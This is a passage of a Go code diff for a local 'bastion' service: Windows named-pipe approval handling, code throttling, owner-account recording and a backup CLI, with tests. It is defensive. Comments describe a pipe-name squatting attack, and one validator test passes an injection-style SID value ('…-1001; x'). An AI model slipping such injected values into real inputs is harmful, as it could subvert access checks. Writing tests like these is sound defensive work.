// An approval id is what the Host spends; it never crosses either.
if _, err := stepupApproveRequest(dir, idB, pipeCodeNow()); err != nil {
t.Fatal(err)
}
raw, _ = json.Marshal(pipeServe(pipeRequest{Op: "list"}, thePerson, time.Now()))
if appr := requestsLoad(dir)[idB].Approval; appr == "" || strings.Contains(string(raw), appr) {
t.Fatalf("an approval id crossed the pipe, or none was issued (%q)", appr)
}
}
// ── a code approves exactly what was shown ──────────────────────────────────
func TestThePipeApprovesOneRequestWithACodeBoundToItsPurpose(t *testing.T) {
dir, idA, purposeA, idB, purposeB := pipeBox(t)
now := time.Now()
approve := func(id, purposeSHA, code string) pipeResponse {
return pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: id, Purpose: purposeSHA, Code: code}, thePerson, now)
}
if r := approve(idA, purposeDigest(purposeA), ""); r.OK || !strings.Contains(r.Error, "code") {
t.Fatalf("no code must not approve: %+v", r)
}
if r := approve(idA, purposeDigest(purposeA), "000000"); r.OK && pipeCodeNow() != "000000" {
t.Fatalf("a wrong code approved: %+v", r)
}
// A valid code, posted for A with the purpose B's card showed: refused,
// and the code is not spent by it.
r := approve(idA, purposeDigest(purposeB), pipeCodeNow())
if r.OK || !strings.Contains(r.Error, "not the one shown") {
t.Fatalf("a code bound to another request's purpose must be refused: %+v", r)
}
if r := approve(idA, "", pipeCodeNow()); r.OK {
t.Fatalf("a code with no purpose must be refused: %+v", r)
}
if stateOf(t, dir, idA).State != "pending" {
t.Fatal("A was approved by a mismatched submission")
}
if f, _ := stepupLoad(dir); f.LastCounter != -1 {
t.Fatal("a refused submission spent the code")
}
// The right card: approved, once.
if r := approve(idA, purposeDigest(purposeA), pipeCodeNow()); !r.OK {
t.Fatalf("the right code for the request shown must approve it: %+v", r)
}
a := stateOf(t, dir, idA)
if a.State != "approved" || a.Approval == "" {
t.Fatalf("A must be approved: %+v", a)
}
if stateOf(t, dir, idB).State != "pending" {
t.Fatal("approving A touched B")
}
// The approval binds A's purpose and nothing else.
if err := stepupCheckApproval(dir, a.Approval, purposeB); err == nil {
t.Fatal("A's approval passed for B's purpose")
}
if err := stepupConsumeApproval(dir, a.Approval, purposeA); err != nil {
t.Fatalf("A's approval must pass for A's purpose: %v", err)
}
// And the code is spent: the same code cannot approve B.
if r := approve(idB, purposeDigest(purposeB), pipeCodeNow()); r.OK {
t.Fatal("one code approved two requests")
}
}
func TestThePipeDeniesOnlyTheRequestShown(t *testing.T) {
dir, idA, purposeA, _, purposeB := pipeBox(t)
deny := func(purposeSHA string) pipeResponse {
return pipeServe(pipeRequest{Op: "deny", Host: pipeTestHost, ID: idA, Purpose: purposeSHA}, thePerson, time.Now())
}
if r := deny(purposeDigest(purposeB)); r.OK || stateOf(t, dir, idA).State != "pending" {
t.Fatalf("a deny for another card's purpose must be refused: %+v", r)
}
if r := deny(purposeDigest(purposeA)); !r.OK || stateOf(t, dir, idA).State != "denied" {
t.Fatalf("deny: %+v", r)
}
}
// ── no guessing ─────────────────────────────────────────────────────────────
func TestThePipeThrottlesWrongCodesAndLocksUntilAnotherLaneApproves(t *testing.T) {
dir, idA, purposeA, idB, purposeB := pipeBox(t)
wrong := "000000"
if pipeCodeNow() == wrong {
wrong = "000001"
}
t0 := time.Now()
try := func(code string, at time.Time) pipeResponse {
return pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: code}, thePerson, at)
}
for i := 0; i < pipeFreeFailures; i++ {
if r := try(wrong, t0); r.OK || strings.Contains(r.Error, "try again") {
t.Fatalf("attempt %d: the first %d wrong codes are not throttled: %+v", i+1, pipeFreeFailures, r)
}
}
// Now even the RIGHT code is not looked at until pipeSlowEvery has passed.
if r := try(pipeCodeNow(), t0.Add(time.Second)); r.OK || !strings.Contains(r.Error, "try again") {
t.Fatalf("after %d wrong codes the next attempt must wait: %+v", pipeFreeFailures, r)
}
if stateOf(t, dir, idA).State != "pending" {
t.Fatal("a throttled attempt approved")
}
if r := try(wrong, t0.Add(pipeSlowEvery+time.Second)); r.OK || strings.Contains(r.Error, "try again") {
t.Fatalf("after the wait one attempt is taken: %+v", r)
}
// At pipeLockAfter the lane takes no code at all, whatever the wait...
raw, _ := json.Marshal(pipeThrottleFile{Failures: pipeLockAfter, Last: t0.UTC().Format(time.RFC3339)})
if err := os.WriteFile(pipeThrottlePath(dir), raw, 0o600); err != nil {
t.Fatal(err)
}
if r := try(pipeCodeNow(), t0.Add(24*time.Hour)); r.OK || !strings.Contains(r.Error, "Administrator terminal") {
t.Fatalf("a locked lane must refuse and say where to approve instead: %+v", r)
}
// ...until a code is accepted on another lane (here, what `approve` at an
// Administrator terminal calls), which re-opens it.
if _, err := stepupApproveRequest(dir, idB, pipeCodeNow()); err != nil {
t.Fatal(err)
}
if f := pipeThrottleLoad(dir); f.Failures != 0 {
t.Fatalf("an accepted code on another lane must reset the count, got %d", f.Failures)
}
_ = purposeB
}
// ── the pipe's own permissions ──────────────────────────────────────────────
// TestTheApprovalPipeTakesLocalInteractiveClientsOnly reads the pipe's ACL and
// its creation flags. Interactive users may read and write, and may NOT create
// an instance of the pipe (FILE_APPEND_DATA, 0x4, is FILE_CREATE_PIPE_INSTANCE
// on a pipe): that right would let a client stand up its own end of the name.
// Remote clients are refused by the pipe itself. A Windows-only file, so this
// reads it rather than runs it.
func TestTheApprovalPipeTakesLocalInteractiveClientsOnly(t *testing.T) {
m := regexp.MustCompile(`\(A;;(0x[0-9a-fA-F]+);;;IU\)`).FindStringSubmatch(approvalPipeSDDL)
if m == nil {
t.Fatalf("no interactive-users entry in %s", approvalPipeSDDL)
}
mask, err := strconv.ParseUint(m[1], 0, 32)
if err != nil {
t.Fatal(err)
}
if mask&0x4 != 0 {
t.Fatalf("interactive users may create pipe instances (mask %#x)", mask)
}
if mask&0x3 != 0x3 || mask&0x100000 == 0 {
t.Fatalf("interactive users cannot read, write and wait on the pipe (mask %#x)", mask)
}
if strings.Count(approvalPipeSDDL, "(A;") != 3 || !strings.HasPrefix(approvalPipeSDDL, "D:P") {
t.Fatalf("the pipe's DACL must be protected and hold exactly SYSTEM, Administrators and interactive users: %s", approvalPipeSDDL)
}
src, err := os.ReadFile("approvalpipe_windows.go")
if err != nil {
t.Fatal(err)
}
for _, want := range []string{"PIPE_REJECT_REMOTE_CLIENTS", "FILE_FLAG_FIRST_PIPE_INSTANCE", "SECURITY_IDENTIFICATION",
"GetNamedPipeClientProcessId", "pipeServerIsService(c.h)"} {
if !strings.Contains(string(src), want) {
t.Errorf("approvalpipe_windows.go no longer uses %s", want)
}
}
}
+456
View File
@@ -0,0 +1,456 @@
//go:build windows
package main
// The Windows half of approvalpipe.go: the pipe itself, who is on the other
// end of it, and the tray's way in.
//
// OVERLAPPED I/O, ALWAYS. Every connect, read and write waits on an event with
// a timeout and is cancelled when the time is up (CancelIoEx), so a client that
// connects and says nothing, or a service that hangs, holds nothing for longer
// than pipeIOTimeout. The OVERLAPPED structure lives in a heap object
// (pipeConn) for as long as the I/O on it can be pending: the kernel writes to
// it after the call returns, and a goroutine stack can move.
//
// NO GAP IN THE NAME. A pipe name exists only while one of its instances is
// open. Between the last instance closing and the next being created, any
// process could create the name and receive the tray's next code. So the
// next instance is always created BEFORE the one it replaces is handed to its
// handler or, after a failed connect, closed (pipeAcceptLoop, approvalpipe.go,
// where the suite checks it), and any instance created while none of ours is open carries
// FILE_FLAG_FIRST_PIPE_INSTANCE, which fails if someone else holds the name.
// The tray also checks that the pipe's server process is the PrivataeBastion
// service before it sends anything (pipeServerIsService).
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"sync"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
// pipeConn is one end of one pipe instance with its own OVERLAPPED, event and
// read buffer, all in this heap object: the kernel fills the buffer and the
// OVERLAPPED after the call that started the read has returned.
type pipeConn struct {
h windows.Handle
ev windows.Handle
ov windows.Overlapped
buf [4096]byte
}
func newPipeConn(h windows.Handle) (*pipeConn, error) {
ev, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return nil, err
}
c := &pipeConn{h: h, ev: ev}
c.ov.HEvent = ev
return c, nil
}
func (c *pipeConn) close() {
_ = windows.CloseHandle(c.h)
_ = windows.CloseHandle(c.ev)
}
var errPipeTimeout = errors.New("timed out")
// wait completes an overlapped call that was started on c. stop, when not 0,
// is a second event that cancels the wait.
func (c *pipeConn) wait(callErr error, timeout time.Duration, stop windows.Handle) (uint32, error) {
var n uint32
switch {
case callErr == nil:
case errors.Is(callErr, windows.ERROR_IO_PENDING):
ms := uint32(windows.INFINITE)
if timeout > 0 {
ms = uint32(timeout / time.Millisecond)
}
handles := []windows.Handle{c.ev}
if stop != 0 {
handles = append(handles, stop)
}
r, err := windows.WaitForMultipleObjects(handles, false, ms)
if err != nil || r != windows.WAIT_OBJECT_0 {
_ = windows.CancelIoEx(c.h, &c.ov)
_ = windows.GetOverlappedResult(c.h, &c.ov, &n, true)
if err != nil {
return 0, err
}
if r == uint32(windows.WAIT_TIMEOUT) {
return 0, errPipeTimeout
}
return 0, errPipeStopped
}
default:
return 0, callErr
}
if err := windows.GetOverlappedResult(c.h, &c.ov, &n, false); err != nil {
return n, err
}
return n, nil
}
// read reads into c.buf and returns how much arrived.
func (c *pipeConn) read(timeout time.Duration) (int, error) {
_ = windows.ResetEvent(c.ev)
var done uint32
err := windows.ReadFile(c.h, c.buf[:], &done, &c.ov)
n, err := c.wait(err, timeout, 0)
return int(n), err
}
func (c *pipeConn) write(b []byte, timeout time.Duration) error {
for len(b) > 0 {
_ = windows.ResetEvent(c.ev)
var done uint32
err := windows.WriteFile(c.h, b, &done, &c.ov)
n, err := c.wait(err, timeout, 0)
if err != nil {
return err
}
if n == 0 {
return errors.New("short write")
}
b = b[n:]
}
return nil
}
// readLine reads up to one newline, within max bytes and timeout in all.
func (c *pipeConn) readLine(max int, timeout time.Duration) ([]byte, error) {
deadline := time.Now().Add(timeout)
var out []byte
for {
left := time.Until(deadline)
if left <= 0 {
return nil, errPipeTimeout
}
n, err := c.read(left)
out = append(out, c.buf[:n]...)
if i := bytes.IndexByte(out, '\n'); i >= 0 {
return out[:i], nil
}
if len(out) > max {
return nil, errors.New("message too large")
}
if err != nil {
if errors.Is(err, windows.ERROR_MORE_DATA) {
continue
}
if errors.Is(err, windows.ERROR_BROKEN_PIPE) && len(out) > 0 {
return out, nil
}
return nil, err
}
}
}
// ── the server, in the service ──────────────────────────────────────────────
// approvalPipeServer tracks how many of our instances are open, so an instance
// created while none is open asks for the name to be ours alone.
type approvalPipeServer struct {
mu sync.Mutex
open int
sa *windows.SecurityAttributes
name *uint16
// stopEv is set when the service stops; it ends a connect that is waiting.
stopEv windows.Handle
}
// connect waits for a client on c (pipeInstances).
func (s *approvalPipeServer) connect(c *pipeConn) error {
_ = windows.ResetEvent(c.ev)
cerr := windows.ConnectNamedPipe(c.h, &c.ov)
if errors.Is(cerr, windows.ERROR_PIPE_CONNECTED) {
// A client that connected between the create and this call is
// already connected; anything else waits.
return nil
}
_, err := c.wait(cerr, 0, s.stopEv)
return err
}
func (s *approvalPipeServer) create() (*pipeConn, error) {
s.mu.Lock()
defer s.mu.Unlock()
flags := uint32(windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED)
if s.open == 0 {
flags |= windows.FILE_FLAG_FIRST_PIPE_INSTANCE
}
h, err := windows.CreateNamedPipe(s.name, flags,
windows.PIPE_TYPE_BYTE|windows.PIPE_READMODE_BYTE|windows.PIPE_WAIT|windows.PIPE_REJECT_REMOTE_CLIENTS,
windows.PIPE_UNLIMITED_INSTANCES, 64<<10, 64<<10, 0, s.sa)
if err != nil {
if s.open == 0 {
return nil, fmt.Errorf("cannot create %s; if another program holds that name the tray stays off: %w", approvalPipeName, err)
}
return nil, err
}
c, err := newPipeConn(h)
if err != nil {
_ = windows.CloseHandle(h)
return nil, err
}
s.open++
return c, nil
}
func (s *approvalPipeServer) release(c *pipeConn) {
s.mu.Lock()
defer s.mu.Unlock()
c.close()
s.open--
}
// startApprovalPipe serves the pipe until stop is closed. A failure, including
// the name being held by another process when the service starts, is said in
// the service's log, leaves every other lane as it was, and is retried with
// backoff (pipeServeRetrying). Each attempt's first instance carries
// FILE_FLAG_FIRST_PIPE_INSTANCE, so the service never serves under a name some
// other process created.
func startApprovalPipe(stop <-chan struct{}) {
wait := func(d time.Duration) bool {
select {
case <-stop:
return false
case <-time.After(d):
return true
}
}
go pipeServeRetrying(func(ready func()) error { return serveApprovalPipe(stop, ready) }, wait,
func(f string, a ...any) { fmt.Printf(f, a...) })
}
func serveApprovalPipe(stop <-chan struct{}, ready func()) error {
sd, err := windows.SecurityDescriptorFromString(approvalPipeSDDL)
if err != nil {
return fmt.Errorf("cannot build the pipe's permissions: %w", err)
}
name, err := windows.UTF16PtrFromString(approvalPipeName)
if err != nil {
return err
}
stopEv, err := windows.CreateEvent(nil, 1, 0, nil)
if err != nil {
return err
}
go func() {
<-stop
_ = windows.SetEvent(stopEv)
}()
s := &approvalPipeServer{
sa: &windows.SecurityAttributes{Length: uint32(unsafe.Sizeof(windows.SecurityAttributes{})), SecurityDescriptor: sd},
name: name,
stopEv: stopEv,
}
// The loop and its no-gap rule are in approvalpipe.go, where the suite runs them.
return pipeAcceptLoop[*pipeConn](s, stop, pipeMaxClients, time.Second,
func(f string, a ...any) { fmt.Printf(f, a...) }, ready, servePipeConn)
}
// servePipeConn answers one request and waits, briefly, for the client to
// close: closing first would discard an answer it has not read yet.
func servePipeConn(c *pipeConn) {
client, cerr := pipeClientOf(c.h)
raw, err := c.readLine(pipeMaxRequest, pipeIOTimeout)
var resp pipeResponse
switch {
case err != nil:
return
case cerr != nil:
resp = pipeResponse{Error: "refused: " + cerr.Error()}
default:
req, derr := pipeDecode(raw)
if derr != nil {
resp = pipeResponse{Error: derr.Error()}
} else {
resp = pipeServe(req, client, time.Now())
}
}
// A refused client is said in the service's log: it is a process on this
// machine trying a lane that is not its own.
if cerr != nil || pipeAccessRefusal(client) != "" {
fmt.Printf("approvals pipe: %s (pid %d)\n", resp.Error, client.PID)
}
out, _ := json.Marshal(resp)
if err := c.write(append(out, '\n'), pipeIOTimeout); err != nil {
return
}
_, _ = c.read(pipeIOTimeout)
}
// pipeClientOf identifies the process on the other end: its pid from the pipe
// (GetNamedPipeClientProcessId), its user and session from that process's
// token, and the person signed in to that session from the session's own token
// (WTSQueryUserToken, which LocalSystem may call).
func pipeClientOf(h windows.Handle) (pipeClient, error) {
var c pipeClient
if err := windows.GetNamedPipeClientProcessId(h, &c.PID); err != nil {
return c, fmt.Errorf("cannot tell which process connected: %w", err)
}
p, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, c.PID)
if err != nil {
return c, fmt.Errorf("cannot open the connecting process (pid %d): %w", c.PID, err)
}
defer windows.CloseHandle(p)
var tok windows.Token
if err := windows.OpenProcessToken(p, windows.TOKEN_QUERY, &tok); err != nil {
return c, fmt.Errorf("cannot read the connecting process's account (pid %d): %w", c.PID, err)
}
defer tok.Close()
u, err := tok.GetTokenUser()
if err != nil {
return c, fmt.Errorf("cannot read the connecting process's account (pid %d): %w", c.PID, err)
}
c.UserSID = u.User.Sid.String()
if name, dom, _, err := u.User.Sid.LookupAccount(""); err == nil {
c.UserName = name
if dom != "" {
c.UserName = dom + `\` + name
}
}
var sess, n uint32
if err := windows.GetTokenInformation(tok, windows.TokenSessionId, (*byte)(unsafe.Pointer(&sess)), uint32(unsafe.Sizeof(sess)), &n); err != nil {
return c, fmt.Errorf("cannot read the connecting process's session (pid %d): %w", c.PID, err)
}
c.SessionID = sess
var st windows.Token
if windows.WTSQueryUserToken(sess, &st) == nil {
if su, err := st.GetTokenUser(); err == nil {
c.SessionUserSID = su.User.Sid.String()
}
st.Close()
}
c.SessionActive = wtsSessionActive(sess)
return c, nil
}
// wtsSessionActive reports whether a session is the one in front of a screen
// (WTSActive), rather than disconnected or idle.
func wtsSessionActive(id uint32) bool {
var sessions *windows.WTS_SESSION_INFO
var n uint32
if windows.WTSEnumerateSessions(0, 0, 1, &sessions, &n) != nil {
return false
}
defer windows.WTSFreeMemory(uintptr(unsafe.Pointer(sessions)))
for _, s := range unsafe.Slice(sessions, n) {
if s.SessionID == id {
return s.State == windows.WTSActive
}
}
return false
}
// ── the client, in the tray ─────────────────────────────────────────────────
// pipeCall sends one request to the service and returns its answer.
func pipeCall(req pipeRequest) (pipeResponse, error) {
var resp pipeResponse
c, err := dialApprovalPipe()
if err != nil {
return resp, err
}
defer c.close()
if err := pipeServerIsService(c.h); err != nil {
return resp, err
}
raw, err := json.Marshal(req)
if err != nil {
return resp, err
}
if err := c.write(append(raw, '\n'), pipeIOTimeout); err != nil {
return resp, fmt.Errorf("the bastion service did not take the request: %w", err)
}
line, err := c.readLine(1<<20, 2*pipeIOTimeout)
if err != nil {
return resp, fmt.Errorf("the bastion service did not answer: %w", err)
}
if err := json.Unmarshal(line, &resp); err != nil {
return resp, errors.New("the bastion service's answer could not be read")
}
return resp, nil
}
// dialApprovalPipe opens the pipe with exactly the rights its ACL grants
// (read, write data, synchronize; never FILE_APPEND_DATA, which GENERIC_WRITE
// would ask for), and lets the server identify this process but not act as it.
func dialApprovalPipe() (*pipeConn, error) {
name, err := windows.UTF16PtrFromString(approvalPipeName)
if err != nil {
return nil, err
}
for i := 0; ; i++ {
h, err := windows.CreateFile(name, windows.FILE_GENERIC_READ|windows.FILE_WRITE_DATA, 0, nil,
windows.OPEN_EXISTING, windows.FILE_FLAG_OVERLAPPED|windows.SECURITY_SQOS_PRESENT|windows.SECURITY_IDENTIFICATION, 0)
if err == nil {
c, err := newPipeConn(h)
if err != nil {
_ = windows.CloseHandle(h)
return nil, err
}
return c, nil
}
if errors.Is(err, windows.ERROR_PIPE_BUSY) && i < 10 {
time.Sleep(200 * time.Millisecond)
continue
}
if errors.Is(err, windows.ERROR_FILE_NOT_FOUND) {
return nil, errors.New("the bastion service is not running, or is older than this tray")
}
return nil, fmt.Errorf("cannot reach the bastion service: %w", err)
}
}
// pipeServerIsService refuses a pipe whose server is not the PrivataeBastion
// service's own process, so a program that got the name first is never sent
// a code.
func pipeServerIsService(h windows.Handle) error {
var pid uint32
if err := windows.GetNamedPipeServerProcessId(h, &pid); err != nil {
return fmt.Errorf("cannot tell which process serves the approvals pipe: %w", err)
}
svcPID, err := bastionServicePID()
if err != nil {
return err
}
if svcPID == 0 || pid != svcPID {
return fmt.Errorf("the approvals pipe is served by process %d, not by the %s service; nothing was sent", pid, winServiceName)
}
return nil
}
// bastionServicePID is the service's process id from the Service Control
// Manager, asked with the query right every signed-in user holds. 0 when it is
// not running.
func bastionServicePID() (uint32, error) {
scm, err := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_CONNECT)
if err != nil {
return 0, fmt.Errorf("cannot ask the Service Control Manager: %w", err)
}
defer windows.CloseServiceHandle(scm)
name, err := windows.UTF16PtrFromString(winServiceName)
if err != nil {
return 0, err
}
h, err := windows.OpenService(scm, name, windows.SERVICE_QUERY_STATUS)
if err != nil {
return 0, fmt.Errorf("cannot query the %s service: %w", winServiceName, err)
}
defer windows.CloseServiceHandle(h)
var st windows.SERVICE_STATUS_PROCESS
var need uint32
if err := windows.QueryServiceStatusEx(h, windows.SC_STATUS_PROCESS_INFO,
(*byte)(unsafe.Pointer(&st)), uint32(unsafe.Sizeof(st)), &need); err != nil {
return 0, err
}
return st.ProcessId, nil
}
+164
View File
@@ -0,0 +1,164 @@
package main
// approvals_owner.go — the one account whose tray the approvals pipe serves.
//
// The pipe (approvalpipe.go) admits a process only when it runs as the person
// signed in to its own active session. On a machine with more than one
// account, that is any of them. The approvals belong to the person who set the
// bastion up for their Host, so the service records that account's SID in its
// own state, and the pipe refuses every other SID for list, deny and approve.
//
// WHO WRITES IT. An installer's elevated step (`npx cseries`), with machine
// authority, into the system service's state, which a process running as the
// person can neither write nor read: `approvals-owner --sid <SID>`. The SID is
// the account that ran the installer, which the elevated step may not be (it
// may run as another administrator), so it is passed in.
//
// A RERUN FROM ANOTHER ACCOUNT can neither change the owner silently nor lock
// the first owner out. The same SID again changes nothing. A different SID is
// refused, and the recorded owner stays exactly as it was, unless --replace is
// given. --replace is taken only on a console, so it is a person at an
// Administrator terminal handing the approvals over on purpose: an installer
// runs its commands with their output captured, so it can never pass it. A
// record that exists but cannot be read counts as an owner for this rule, so
// a damaged file is never quietly replaced; the pipe serves nobody until an
// administrator rewrites it with --replace. Refusing here costs the second
// account a message naming the command; taking the record over would hand the
// first person's approvals to someone else, and clearing it would lock them out.
import (
"encoding/json"
"errors"
"fmt"
"io/fs"
"os"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
)
const approvalsOwnerFile = "approvals_owner.json"
type approvalsOwnerRecord struct {
SID string `json:"sid"`
SetAt string `json:"set_at"`
}
var winSIDShape = regexp.MustCompile(`^S-1-[0-9]+(-[0-9]+)+$`)
// approvalsOwnerSIDOK: a well-formed SID of a person's account.
func approvalsOwnerSIDOK(sid string) bool {
return winSIDShape.MatchString(sid) && winPersonSID(sid)
}
func approvalsOwnerPath() (string, error) {
d, err := configDirPath()
if err != nil {
return "", err
}
return filepath.Join(d, approvalsOwnerFile), nil
}
// approvalsOwnerLoad reads the record. present is true when a record exists,
// readable or not; sid is "" unless it is readable and names a person.
func approvalsOwnerLoad() (sid string, present bool, err error) {
p, err := approvalsOwnerPath()
if err != nil {
return "", false, err
}
raw, err := os.ReadFile(p)
if errors.Is(err, fs.ErrNotExist) {
return "", false, nil
}
if err != nil {
return "", true, err
}
var r approvalsOwnerRecord
if err := json.Unmarshal(raw, &r); err != nil {
return "", true, fmt.Errorf("%s cannot be read: %w", p, err)
}
if !approvalsOwnerSIDOK(r.SID) {
return "", true, fmt.Errorf("%s names no person's account", p)
}
return r.SID, true, nil
}
// approvalsOwner is the SID the pipe serves, "" when none is recorded or the
// record cannot be read: the pipe then serves nobody.
func approvalsOwner() string {
sid, _, err := approvalsOwnerLoad()
if err != nil {
return ""
}
return sid
}
// pipeOwnerRefusal says why client c is not the account the lane serves, or ""
// when it is.
func pipeOwnerRefusal(c pipeClient, owner string) string {
switch {
case owner == "":
return "no account is recorded as owning this machine's approvals; from an Administrator terminal: " +
"privatae-bastion approvals-owner --sid <your account's SID>"
case !strings.EqualFold(owner, c.UserSID):
return "this machine's approvals belong to another account, not " + pipeWho(c)
}
return ""
}
// ownerConsole and ownerServiceState are seams so the suite drives the
// command on any machine; nothing outside tests assigns them.
var (
ownerConsole = stdioIsConsole
ownerServiceState = func() string {
return enrolServiceStateRefusal(runtime.GOOS, systemService.installed, systemService.authority, systemService.err)
}
)
// privatae-bastion approvals-owner --sid <SID> [--replace]
func cmdApprovalsOwner(sid string, replace bool) error {
if err := requireMachineAuthority("approvals-owner"); err != nil {
return err
}
if why := ownerServiceState(); why != "" {
return fmt.Errorf("approvals-owner records the owner in the system service's state: %s — nothing was changed", why)
}
if !approvalsOwnerSIDOK(sid) {
return fmt.Errorf("%q is not the SID of a person's account (S-1-5-21-… or S-1-12-1-…) — nothing was changed", sid)
}
if replace && !ownerConsole() {
return errors.New("approvals-owner --replace hands this machine's approvals to another account, and is taken only " +
"in an Administrator terminal; this one's input or output goes to a file or a pipe — nothing was changed")
}
cur, present, err := approvalsOwnerLoad()
switch {
case err == nil && strings.EqualFold(cur, sid):
fmt.Printf("approvals on this machine already belong to %s\n", sid)
return nil
case present && !replace:
was := cur
if err != nil {
was = "an account its record no longer names readably (" + err.Error() + ")"
}
return fmt.Errorf("this machine's approvals belong to %s, and stay with it — nothing was changed.\n"+
" To hand them to %s, run from an Administrator terminal: privatae-bastion approvals-owner --sid %s --replace", was, sid, sid)
}
p, err := approvalsOwnerPath()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(p), 0o700); err != nil {
return err
}
raw, err := json.MarshalIndent(approvalsOwnerRecord{SID: sid, SetAt: time.Now().UTC().Format(time.RFC3339)}, "", " ")
if err != nil {
return err
}
if err := atomicWrite(p, raw); err != nil {
return err
}
fmt.Printf("approvals on this machine belong to %s; the tray serves that account only\n", sid)
return nil
}
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
// Uses withMachineAuthority, which lives behind //go:build !windows (see
// anchor_test.go's header).
package main
// `approvals-owner` (approvals_owner.go): the account whose tray the pipe
// serves is recorded with machine authority, in the service's state, and is
// never changed silently. Every value here is invented.
import (
"os"
"strings"
"testing"
)
const otherTestUser = "S-1-5-21-1111111111-2222222222-3333333333-1002"
func ownerTestBox(t *testing.T) {
t.Helper()
uiTestConfigDir(t)
withMachineAuthority(t, true)
prevState, prevConsole := ownerServiceState, ownerConsole
ownerServiceState = func() string { return "" }
ownerConsole = func() bool { return false }
t.Cleanup(func() { ownerServiceState, ownerConsole = prevState, prevConsole })
}
func TestApprovalsOwnerNeedsMachineAuthorityTheServiceStateAndAPerson(t *testing.T) {
ownerTestBox(t)
withMachineAuthority(t, false)
if err := cmdApprovalsOwner(pipeTestUser, false); err == nil || !strings.Contains(err.Error(), "machine authority") {
t.Fatalf("without machine authority: %v", err)
}
withMachineAuthority(t, true)
ownerServiceState = func() string { return "the bastion is not installed as this machine's service yet" }
if err := cmdApprovalsOwner(pipeTestUser, false); err == nil || !strings.Contains(err.Error(), "system service's state") {
t.Fatalf("outside the service's state: %v", err)
}
ownerServiceState = func() string { return "" }
for _, bad := range []string{"S-1-5-18", "S-1-5-32-544", "S-1-5-21-1-2-3-1001; x", ""} {
if err := cmdApprovalsOwner(bad, false); err == nil {
t.Fatalf("%q is no person's account, yet it was recorded", bad)
}
}
if sid, present, _ := approvalsOwnerLoad(); present || sid != "" {
t.Fatal("a refused command wrote an owner")
}
}
func TestApprovalsOwnerIsNeverChangedSilently(t *testing.T) {
ownerTestBox(t)
if err := cmdApprovalsOwner(pipeTestUser, false); err != nil {
t.Fatalf("first record: %v", err)
}
// The same account again changes nothing.
if err := cmdApprovalsOwner(pipeTestUser, false); err != nil {
t.Fatalf("the same account again: %v", err)
}
// Another account's run: refused, and the first owner keeps the lane.
if err := cmdApprovalsOwner(otherTestUser, false); err == nil || !strings.Contains(err.Error(), "stay with it") {
t.Fatalf("another account must not take the approvals over: %v", err)
}
if approvalsOwner() != pipeTestUser {
t.Fatalf("the owner changed to %q", approvalsOwner())
}
// --replace with captured output, as an installer would run it: refused.
if err := cmdApprovalsOwner(otherTestUser, true); err == nil || !strings.Contains(err.Error(), "Administrator terminal") {
t.Fatalf("--replace off a console must be refused: %v", err)
}
if approvalsOwner() != pipeTestUser {
t.Fatal("a refused --replace changed the owner")
}
// At a terminal, on purpose: handed over.
ownerConsole = func() bool { return true }
if err := cmdApprovalsOwner(otherTestUser, true); err != nil {
t.Fatalf("--replace at a terminal: %v", err)
}
if approvalsOwner() != otherTestUser {
t.Fatal("--replace at a terminal did not hand the approvals over")
}
}
func TestADamagedOwnerRecordIsNotReplacedQuietly(t *testing.T) {
ownerTestBox(t)
p, _ := approvalsOwnerPath()
if err := atomicWrite(p, []byte("not json")); err != nil {
t.Fatal(err)
}
if err := cmdApprovalsOwner(pipeTestUser, false); err == nil || !strings.Contains(err.Error(), "stay with it") {
t.Fatalf("a damaged record must be replaced only with --replace: %v", err)
}
if raw, _ := os.ReadFile(p); string(raw) != "not json" {
t.Fatal("the damaged record was rewritten")
}
}
+408
View File
@@ -0,0 +1,408 @@
package main
// backupcli.go — `privatae-bastion backup ...`, the person's commands for
// their own backups. Every one of them works with no host and no network:
// a backup file, the key held here (or a key file the person names), and a
// folder to write to are all they need.
import (
"encoding/json"
"errors"
"fmt"
"os"
"path/filepath"
"sort"
"strings"
"filippo.io/age"
)
const backupUsage = `usage:
privatae-bastion backup key init [--replace] [--label <name>]
make this bastion's backup key here and print what to register on your
host (Settings > Backup > keys: kind, label, public key). --replace makes
a new one and keeps the old one, which still opens the backups made with it
privatae-bastion backup key show
the key this bastion holds, its fingerprint, and any older keys it keeps
privatae-bastion backup reseal --sidecar <file> --to <host key> [--stamp <stamp>]
[--out <file>] [--identity <key file>]
seal one backup's key to a host's own key (age1... or base64), so that
host, and only it, can open that one backup
privatae-bastion backup requests [--host <host>]
restore requests your host sent this machine
privatae-bastion backup approve [--host <host>] <id> | deny [--host <host>] <id>
answer one
privatae-bastion backup restore-plan --dir <folder> [--stamp <stamp> --to <new host key>]
restoring a lost host: list the backups in a folder, and reseal the one
you choose to the key of the host that replaces it
privatae-bastion backup share --with <host> (--from <host> | --dir <folder>)
let the host paired as <host> list and send the backups in another
host's backup folder here (or any folder) — how a host that replaces a
lost one reaches the copies the lost one kept on this machine
privatae-bastion backup shares --with <host> / unshare --with <host> <name>
the folders shared with a host, and taking one back`
func cmdBackup(args []string) error {
if len(args) == 0 {
return errors.New(backupUsage)
}
switch args[0] {
case "key":
if len(args) >= 2 && args[1] == "init" {
replace := false
var a []string
for _, x := range args[2:] {
if x == "--replace" {
replace = true
continue
}
a = append(a, x)
}
flags, rest := backupFlags(a, "--label")
if len(rest) != 0 {
return errors.New(backupUsage)
}
return cmdBackupKeyInit(replace, flags["--label"])
}
if len(args) >= 2 && args[1] == "show" {
return cmdBackupKeyShow()
}
case "reseal":
flags, rest := backupFlags(args[1:], "--sidecar", "--to", "--stamp", "--out", "--identity")
if len(rest) != 0 || flags["--sidecar"] == "" || flags["--to"] == "" {
return errors.New(backupUsage)
}
return cmdBackupReseal(flags["--sidecar"], flags["--to"], flags["--stamp"], flags["--out"], flags["--identity"])
case "requests":
host, rest := takeHostFlag(args[1:])
if len(rest) != 0 {
return errors.New(backupUsage)
}
return cmdBackupRequests(host)
case "approve", "deny":
host, rest := takeHostFlag(args[1:])
if len(rest) != 1 {
